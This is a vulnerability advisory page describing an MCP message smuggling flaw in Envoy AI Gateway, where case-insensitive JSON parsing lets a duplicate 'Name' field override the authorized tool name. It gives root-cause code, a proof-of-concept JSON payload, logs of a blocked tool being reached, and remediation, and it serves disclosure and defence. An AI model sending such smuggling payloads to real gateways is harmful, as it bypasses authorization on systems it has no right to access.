GHSA-4GPH-2HHR-5MWG

Vulnerability from github – Published: 2026-05-19 16:18 – Updated: 2026-05-19 16:18
VLAI
Summary
Envoy AI Proxy - MCP Message Smuggling Vulnerability
Details

Envoy AI Gateway was found to be affected by a protocol parser differential vulnerability due to improper implementation of the JSON-RPC 2.0 specification. Such differential causes a MCP message alteration, potentially causing a bypass of security controls in a multi-layered architecture.

According to the JSON RPC Spec used by Model Context Protocol, JSON RPC should be case sensitive https://www.jsonrpc.org/specification

[...]
All member names exchanged between the Client and the Server that are considered for matching of any kind should be considered to be case-sensitive. The terms function, method, and procedure can be assumed to be interchangeable.

The AI Gateway is accepting and processing case-variant fields that compliant MCP implementations correctly ignore. Crucially, Envoy does not just "pass through" the message by acting as a transparent proxy, it alters the traffic, allowing smuggling of unwanted requests.

The following steps represent the incoming message alteration: 1. Incoming MCP Message:

{
    id: 1,
    jsonrpc: "2.0",
    method: "tools/call",
    params: {
        name: "backend__greet",
        Name: "backend__secretTool",
        arguments: {
            name: "World!"
        },
        Arguments: {
            name: "Exploit"
        }
    }
}
  1. Parses the request, picking the non-standard Name field over the authorized name field due to internal case-insentitive parsing by libraries such as modelcontextprotocol/go-sdk/jsonrpc and github.com/bytedance/sonic
  2. Overwrites the authorized "backend__greet" value from the valid name field with the malicious value from the Name field
  3. Normalizes the injected "backend__secretTool" value (from the invalid Name field)
  4. Re-serializes the request into a new, valid MCP JRPC payload ({"name": "backend__secretTool"}) and forwards it upstream

This "smuggling" effect means Envoy actively transforms a request that might have been checked by any prior MCP-compliant implementation into a request that is valid and altered (from the perspective of the upstream backend), effectively introducing protocol modifications that may allow bypassing any prior authorization layer.

Root Cause Analysis

The root cause is a parser differential combined with serialization quirk typical of Go-based JSON parsers:

  1. Case-Insensitive Unmarshaling - When parsing a JSON key into a struct field, Go's json.Unmarshal looks for an a case-insensitive match. Go matches "Name" to the struct tag json:"name". If "name": "safe" is also present, the last key processed wins, allowing an attacker to inject a different tool name when the MCP message reaches the Go-SDK parsing
  2. Strict Struct-Tag Marshaling - When converting a struct back to JSON, Go always uses the exact key specified in the Struct json:"..." tag. Consequently, an overwritten value from a cased field could be stored in a proper lowercased parameter, later processed by a spec-compliant MCP message receiver

The vulnerability involves the usage of the jsonrpc module of github.com/modelcontextprotocol/go-sdk, which is not following the MCP mandated JSON RPC spec for messages parsing, using case insensitive matching.

The non-compliant parsing primitive is jsonrpc.DecodeMessage, it is widely used to parse the incoming MCP messages. See at: - ai-gateway/internal/mcpproxy/handlers.go:242,739 - ai-gateway/internal/mcpproxy/mcpproxy.go:303 - ai-gateway/internal/mcpproxy/session.go:409 - ai-gateway/internal/mcpproxy/sse.go:88

Consequently, internals relying on objects parsed with the cited primitive are using case-insentive parsing, also subject to Unicode to ASCII Folding.

Furthermore, the internal logic is also relying on the internal/json package, acting as a wrapper around github.com/bytedance/sonic (Sonic), a high-performance JSON library that defaults to loose, case-insensitive unmarshalling.

File: internal/json/json.go

import (
    sonicjson "github.com/bytedance/sonic"
)
var (
    Unmarshal = sonicjson.ConfigDefault.Unmarshal
    Marshal   = sonicjson.ConfigDefault.Marshal
)

In combination with the above mentioned spec departure, the message MCP message reconstruction logic is causing an alteration of the protocol calls passing through the gateway.

Example Vulnerable Data Flow - tools/call

The alteration occurs in ai-gateway/internal/mcpproxy/handlers.go:180 during the processing of a function servePOST.

As an example, we can focus on the processing of incoming MCP tools/call requests.

When the gateway receives a JSON-RPC request, it executes servePOST function, which then calls jsonrpc.DecodeMessage to parse the body of the bytes read from the request.

See at ai-gateway/internal/mcpproxy/handlers.go:235-242

...
    body, err := io.ReadAll(r.Body)
    if err != nil {
        errType = metrics.MCPErrorInternal
        onErrorResponse(w, http.StatusBadRequest, err.Error())
        return
    }

    rawMsg, err := jsonrpc.DecodeMessage(body)
    ...

If the request method is tools/call, the following code is executed at ai-gateway/internal/mcpproxy/handlers.go:366

        case "tools/call":
            params = &mcp.CallToolParams{}
            span, err = parseParamsAndMaybeStartSpan(ctx, m, msg, params, r.Header)
            if err != nil {
                errType = metrics.MCPErrorInvalidParam
                m.l.Error("Failed to unmarshal params", slog.String("method", msg.Method), slog.String("error", err.Error()))
                onErrorResponse(w, http.StatusBadRequest, "invalid params")
                return
            }
            err = m.handleToolCallRequest(ctx, s, w, msg, params.(*mcp.CallToolParams), span, r)

At this point, the params object is a mcp.CallToolParams struct incorrectly parsed by Anthropic's jsonrpc.DecodeMessage as case insentitive object. The params object is then passed to handleToolCallRequest function, which will execute the tool call.

See at definition of handleToolCallRequest at ai-gateway/internal/mcpproxy/handlers.go:638

func (m *mcpRequestContext) handleToolCallRequest(ctx context.Context, s *session, w http.ResponseWriter, req *jsonrpc.Request, p *mcp.CallToolParams, span tracingapi.MCPSpan, r *http.Request) error {

    // ... REDACTED CODE TO Enforce authentication and authorizationif required by the route ...

    // Send the request to the MCP backend listener.
    p.Name = toolName
    param, _ := json.Marshal(p)
    if m.l.Enabled(ctx, slog.LevelDebug) {
        logger := m.l.With(slog.String("tool", p.Name), slog.Any("session", cse))
        logger.Debug("Routing to backend")
    }
    if span != nil {
        span.RecordRouteToBackend(backend.Name, string(cse.sessionID), false)
    }
    req.Params = param
    return m.invokeAndProxyResponse(ctx, s, w, backend, cse, req)
}

In the code pattern above, the final alteration of the MCP message happens. The function is using as json parser the wrapper around sonic (ai-gateway/internal/json), which is a case-insensitive parser, to reserialize the parameter struct with json.Marshal.

When the struct is re-marshaled, it uses the exact casing defined in the struct's JSON tag. This allows an attacker to "smuggle" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.

In conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become "canonical" and delivered upstream with smuggled malicious values.

Other Message Types

The Parser Differential is not limited to tools/call. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.

List of smuggling sinks: - tools/call - prompts/get - resources/read

In conclusion, the reported smuggling problem is systemic in the AI Proxy.

Proof of Concept

Payload:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "backend__greet",      // SAFE: Validated & Allowed by Edge Proxy
    "Name": "backend__secretTool", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream
    "arguments": {"name": "Exploit"}
  },
  "id": 1
}

Scenario:

image

The full PoC can be downloaded as envoy-security@googlegroups.com at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK&packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg

Prerequisites are having installed: Minikube, Docker and Helm.

In order to reproduce the scenario, it is sufficient to run the described stack with the commands below:

chmod +x full_PoC.sh
./full_PoC.sh

The PoC will: 1. Start a MCP-cmpliant downstream proxy that should block requests to backend__secretTool 2. Start the Envoy AI Gateway and configure it as basic router 3. Start an upstream MCP server exposing backend__secretTool and backend_greet 4. Send MCP tools/call requests to the downstream proxy to demonstrate the vulnerability

It is also possible to inspect the full traffic proccessing logs at PoC/logs/.

The example below shows the final PoC smuggled message received and executed by the upstream MCP Server:

cat PoC/logs/server_container.log

...[REDACTED]...
INFO:     10.244.0.6:33404 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.055237] ← PROCESSED MCP REQ: initialize
INFO:     10.244.0.6:33404 - "POST /mcp HTTP/1.1" 202 Accepted
INFO:     10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.334681] → RECEIVED MCP REQ: tools/list
[2026-02-11T14:57:11.334924]   Payload: {
  "method": "tools/list",
  "params": null
}
[2026-02-11T14:57:11.335298] ← PROCESSED MCP REQ: tools/list
[2026-02-11T14:57:11.336396] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.336467]   Payload: {
  "task": null,
  "meta": null,
  "name": "greet",
  "arguments": {
    "name": "User"
  }
}
[2026-02-11T14:57:11.336665] greet called with name=User
[2026-02-11T14:57:11.336935] ← PROCESSED MCP REQ: tools/call
INFO:     10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.552185] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.552341]   Payload: {
  "task": null,
  "meta": null,
  "name": "secretTool",
  "arguments": {
    "name": "ExploitUser"
  }
}
[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser
[2026-02-11T14:57:11.552483] ← PROCESSED MCP REQ: tools/call

While below is reported the log of the downstream compliant proxy that allowed the message as compliant greet command before it was smuggled by Envoy AI Proxy:

2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__secretTool', 'arguments': {'name': 'Hacker'}} jsonrpc='2.0' id=3 [tool: backend__secretTool]
2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool
2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool 'backend__secretTool'
INFO:     127.0.0.1:33768 - "POST /mcp HTTP/1.1" 403 Forbidden
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__greet', 'arguments': {'name': 'ExploitUser'}, 'Name': 'backend__secretTool'} jsonrpc='2.0' id=3 [tool: backend__greet]
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet
2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool 'backend__greet' passed policy check.
2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp "HTTP/1.1 200 OK"
INFO:     127.0.0.1:33780 - "POST /mcp HTTP/1.1" 200 OK

Impact

This vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a "Confused Deputy" that: 1. Trusted Input: Takes input trusted by the other MCP-compliant actors 2. Malicious Transformation: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one 3. Trusted Output: Sends it off as a valid request to the upstream backend

Authentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message is not the message the target Backend receives.

Remediation

  1. Strict Protocol Compliance Envoy AI Gateway must enforce Strict Case Sensitivity during JSON unmarshalling to comply with JSON-RPC 2.0.

  2. Reject Unknown Fields In Protocol Reserved Areas Enable DisallowUnknownFields.

  3. Preserve Integrity If Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.

It should be highlighted that after our root-cause analysis, github.com/modelcontextprotocol/go-sdk is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.

As a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in sonic which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages.

Doyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/envoyproxy/ai-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:18:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Envoy AI Gateway was found to be affected by a protocol parser differential vulnerability due to improper implementation of the JSON-RPC 2.0 specification. Such differential causes a MCP message alteration, potentially causing a bypass of security controls in a multi-layered architecture.\n\nAccording to the JSON RPC Spec used by Model Context Protocol, JSON RPC should be case sensitive https://www.jsonrpc.org/specification\n\n```\n[...]\nAll member names exchanged between the Client and the Server that are considered for matching of any kind should be considered to be case-sensitive. The terms function, method, and procedure can be assumed to be interchangeable.\n```\n\nThe AI Gateway is accepting and processing case-variant fields that compliant MCP implementations correctly ignore. Crucially, Envoy does not just \"pass through\" the message by acting as a transparent proxy, it alters the traffic, allowing smuggling of unwanted requests. \n\nThe following steps represent the incoming message alteration:\n1. **Incoming MCP Message**:\n\n```\n{\n    id: 1,\n    jsonrpc: \"2.0\",\n    method: \"tools/call\",\n    params: {\n        name: \"backend__greet\",\n        Name: \"backend__secretTool\",\n        arguments: {\n            name: \"World!\"\n        },\n        Arguments: {\n            name: \"Exploit\"\n        }\n    }\n}\n```\n\n2. **Parses** the request, picking the non-standard `Name` field over the authorized `name` field due to internal case-insentitive parsing by libraries such as `modelcontextprotocol/go-sdk/jsonrpc` and `github.com/bytedance/sonic`\n3.  **Overwrites** the authorized \"backend__greet\" value from the valid `name` field with the malicious value from the `Name` field\n4.  **Normalizes** the injected \"backend__secretTool\" value (from the invalid `Name` field)\n5.  **Re-serializes** the request into a new, valid MCP JRPC payload (`{\"name\": \"backend__secretTool\"}`) and forwards it upstream\n\nThis \"smuggling\" effect means Envoy actively transforms a request that might have been checked by any prior MCP-compliant implementation into a request that is **valid and altered** (from the perspective of the upstream backend), effectively introducing protocol modifications that may allow bypassing any prior authorization layer. \n\n## Root Cause Analysis\n\nThe root cause is a parser differential combined with serialization quirk typical of Go-based JSON parsers:\n\n1. **Case-Insensitive Unmarshaling** - When parsing a JSON key into a struct field, Go\u0027s `json.Unmarshal` looks for an a case-insensitive match. Go matches \"Name\" to the struct tag `json:\"name\"`. If `\"name\": \"safe\"` is also present, the last key processed wins, allowing an attacker to inject a different tool name when the MCP message reaches the Go-SDK parsing\n2. **Strict Struct-Tag Marshaling** - When converting a struct back to JSON, Go always uses the exact key specified in the Struct `json:\"...\"` tag. Consequently, an overwritten value from a cased field could be stored in a proper lowercased parameter, later processed by a spec-compliant MCP message receiver\n\nThe vulnerability involves the usage of the `jsonrpc` module of `github.com/modelcontextprotocol/go-sdk`, which is not following the MCP mandated JSON RPC spec for messages parsing, using case insensitive matching.\n\nThe non-compliant parsing primitive is `jsonrpc.DecodeMessage`, it is widely used to parse the incoming MCP messages.\nSee at:\n- `ai-gateway/internal/mcpproxy/handlers.go:242,739`\n- `ai-gateway/internal/mcpproxy/mcpproxy.go:303`\n- `ai-gateway/internal/mcpproxy/session.go:409`\n- `ai-gateway/internal/mcpproxy/sse.go:88`\n\nConsequently, internals relying on objects parsed with the cited primitive are using case-insentive parsing, also subject to Unicode to ASCII Folding. \n\nFurthermore, the internal logic is also relying on the `internal/json` package, acting as a wrapper around `github.com/bytedance/sonic` (Sonic), a high-performance JSON library that defaults to loose, case-insensitive unmarshalling.\n\n**File**: `internal/json/json.go`\n```go\nimport (\n\tsonicjson \"github.com/bytedance/sonic\"\n)\nvar (\n\tUnmarshal = sonicjson.ConfigDefault.Unmarshal\n    Marshal   = sonicjson.ConfigDefault.Marshal\n)\n``` \n\nIn combination with the above mentioned spec departure, the message MCP message reconstruction logic is causing an alteration of the protocol calls passing through the gateway.\n\n### Example Vulnerable Data Flow - tools/call\n\nThe alteration occurs in `ai-gateway/internal/mcpproxy/handlers.go:180` during the processing of a function `servePOST`.\n\nAs an example, we can focus on the processing of incoming MCP `tools/call` requests.\n\nWhen the gateway receives a JSON-RPC request, it executes `servePOST` function, which then calls `jsonrpc.DecodeMessage` to parse the body of the bytes read from the request.\n\nSee at `ai-gateway/internal/mcpproxy/handlers.go:235-242`\n```go\n...\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\terrType = metrics.MCPErrorInternal\n\t\tonErrorResponse(w, http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\n\trawMsg, err := jsonrpc.DecodeMessage(body)\n    ...\n```\n\nIf the request method is `tools/call`, the following code is executed at `ai-gateway/internal/mcpproxy/handlers.go:366`\n\n```go\n\t\tcase \"tools/call\":\n\t\t\tparams = \u0026mcp.CallToolParams{}\n\t\t\tspan, err = parseParamsAndMaybeStartSpan(ctx, m, msg, params, r.Header)\n\t\t\tif err != nil {\n\t\t\t\terrType = metrics.MCPErrorInvalidParam\n\t\t\t\tm.l.Error(\"Failed to unmarshal params\", slog.String(\"method\", msg.Method), slog.String(\"error\", err.Error()))\n\t\t\t\tonErrorResponse(w, http.StatusBadRequest, \"invalid params\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = m.handleToolCallRequest(ctx, s, w, msg, params.(*mcp.CallToolParams), span, r)\n```\n\nAt this point, the `params` object is a `mcp.CallToolParams` struct incorrectly parsed by Anthropic\u0027s `jsonrpc.DecodeMessage` as case insentitive object. The `params` object is then passed to `handleToolCallRequest` function, which will execute the tool call.\n\nSee at definition of `handleToolCallRequest` at `ai-gateway/internal/mcpproxy/handlers.go:638`\n```go\nfunc (m *mcpRequestContext) handleToolCallRequest(ctx context.Context, s *session, w http.ResponseWriter, req *jsonrpc.Request, p *mcp.CallToolParams, span tracingapi.MCPSpan, r *http.Request) error {\n\n\t// ... REDACTED CODE TO Enforce authentication and authorizationif required by the route ...\n\n\t// Send the request to the MCP backend listener.\n\tp.Name = toolName\n\tparam, _ := json.Marshal(p)\n\tif m.l.Enabled(ctx, slog.LevelDebug) {\n\t\tlogger := m.l.With(slog.String(\"tool\", p.Name), slog.Any(\"session\", cse))\n\t\tlogger.Debug(\"Routing to backend\")\n\t}\n\tif span != nil {\n\t\tspan.RecordRouteToBackend(backend.Name, string(cse.sessionID), false)\n\t}\n\treq.Params = param\n\treturn m.invokeAndProxyResponse(ctx, s, w, backend, cse, req)\n}\n```\n\nIn the code pattern above, the final alteration of the MCP message happens. The function is using as `json` parser the wrapper around `sonic` (`ai-gateway/internal/json`), which is a case-insensitive parser, to reserialize the parameter struct with `json.Marshal`.\n\nWhen the struct is **re-marshaled**, it uses the exact casing defined in the struct\u0027s JSON tag. This allows an attacker to \"smuggle\" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.\n\nIn conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become \"canonical\" and delivered upstream with smuggled malicious values.\n\n### Other Message Types\n\nThe Parser Differential is not limited to `tools/call`. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.\n\nList of smuggling sinks:\n- `tools/call` \n- `prompts/get`\n- `resources/read`\n\nIn conclusion, the reported smuggling problem is systemic in the AI Proxy.\n\n## Proof of Concept\n\nPayload:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"backend__greet\",      // SAFE: Validated \u0026 Allowed by Edge Proxy\n    \"Name\": \"backend__secretTool\", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream\n    \"arguments\": {\"name\": \"Exploit\"}\n  },\n  \"id\": 1\n}\n```\n\nScenario:\n\n\u003cimg width=\"1588\" height=\"407\" alt=\"image\" src=\"https://github.com/user-attachments/assets/326731f0-515c-489b-87f3-b386b1e1831d\" /\u003e\n\nThe full PoC can be downloaded as `envoy-security@googlegroups.com` at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK\u0026packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg\n\nPrerequisites are having installed: Minikube, Docker and Helm.\n\nIn order to reproduce the scenario, it is sufficient to run the described stack with the commands below:\n```\nchmod +x full_PoC.sh\n./full_PoC.sh\n```\n\nThe PoC will:\n1. Start a MCP-cmpliant downstream proxy that should block requests to `backend__secretTool`\n2. Start the Envoy AI Gateway and configure it as basic router\n3. Start an upstream MCP server exposing `backend__secretTool` and `backend_greet`\n4. Send MCP `tools/call` requests to the downstream proxy to demonstrate the vulnerability\n\nIt is also possible to inspect the full traffic proccessing logs at `PoC/logs/`.\n\nThe example below shows the final PoC smuggled message received and executed by the upstream MCP Server:\n\n```\ncat PoC/logs/server_container.log\n\n...[REDACTED]...\nINFO:     10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.055237] \u2190 PROCESSED MCP REQ: initialize\nINFO:     10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 202 Accepted\nINFO:     10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.334681] \u2192 RECEIVED MCP REQ: tools/list\n[2026-02-11T14:57:11.334924]   Payload: {\n  \"method\": \"tools/list\",\n  \"params\": null\n}\n[2026-02-11T14:57:11.335298] \u2190 PROCESSED MCP REQ: tools/list\n[2026-02-11T14:57:11.336396] \u2192 RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.336467]   Payload: {\n  \"task\": null,\n  \"meta\": null,\n  \"name\": \"greet\",\n  \"arguments\": {\n    \"name\": \"User\"\n  }\n}\n[2026-02-11T14:57:11.336665] greet called with name=User\n[2026-02-11T14:57:11.336935] \u2190 PROCESSED MCP REQ: tools/call\nINFO:     10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.552185] \u2192 RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.552341]   Payload: {\n  \"task\": null,\n  \"meta\": null,\n  \"name\": \"secretTool\",\n  \"arguments\": {\n    \"name\": \"ExploitUser\"\n  }\n}\n[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser\n[2026-02-11T14:57:11.552483] \u2190 PROCESSED MCP REQ: tools/call\n```\n\nWhile below is reported the log of the downstream compliant proxy that allowed the message as compliant `greet` command before it was smuggled by Envoy AI Proxy:\n\n```\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method=\u0027tools/call\u0027 params={\u0027name\u0027: \u0027backend__secretTool\u0027, \u0027arguments\u0027: {\u0027name\u0027: \u0027Hacker\u0027}} jsonrpc=\u00272.0\u0027 id=3 [tool: backend__secretTool]\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool\n2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool \u0027backend__secretTool\u0027\nINFO:     127.0.0.1:33768 - \"POST /mcp HTTP/1.1\" 403 Forbidden\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method=\u0027tools/call\u0027 params={\u0027name\u0027: \u0027backend__greet\u0027, \u0027arguments\u0027: {\u0027name\u0027: \u0027ExploitUser\u0027}, \u0027Name\u0027: \u0027backend__secretTool\u0027} jsonrpc=\u00272.0\u0027 id=3 [tool: backend__greet]\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool \u0027backend__greet\u0027 passed policy check.\n2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp \"HTTP/1.1 200 OK\"\nINFO:     127.0.0.1:33780 - \"POST /mcp HTTP/1.1\" 200 OK\n```\n\n## Impact\nThis vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a \"Confused Deputy\" that:\n1.  **Trusted Input**: Takes input trusted by the other MCP-compliant actors \n2.  **Malicious Transformation**: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one\n3.  **Trusted Output**: Sends it off as a valid request to the upstream backend\n\nAuthentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message **is not** the message the target Backend receives.\n\n## Remediation\n\n1. Strict Protocol Compliance\nEnvoy AI Gateway must enforce **Strict Case Sensitivity** during JSON unmarshalling to comply with JSON-RPC 2.0.\n\n2. Reject Unknown Fields In Protocol Reserved Areas\nEnable `DisallowUnknownFields`.\n\n3. Preserve Integrity\nIf Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.\n\nIt should be highlighted that after our root-cause analysis, `github.com/modelcontextprotocol/go-sdk` is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.\n\nAs a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in `sonic` which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages. \n\nDoyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.",
  "id": "GHSA-4gph-2hhr-5mwg",
  "modified": "2026-05-19T16:18:14Z",
  "published": "2026-05-19T16:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/ai-gateway/security/advisories/GHSA-4gph-2hhr-5mwg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/envoyproxy/ai-gateway"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Envoy AI Proxy - MCP Message Smuggling Vulnerability"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…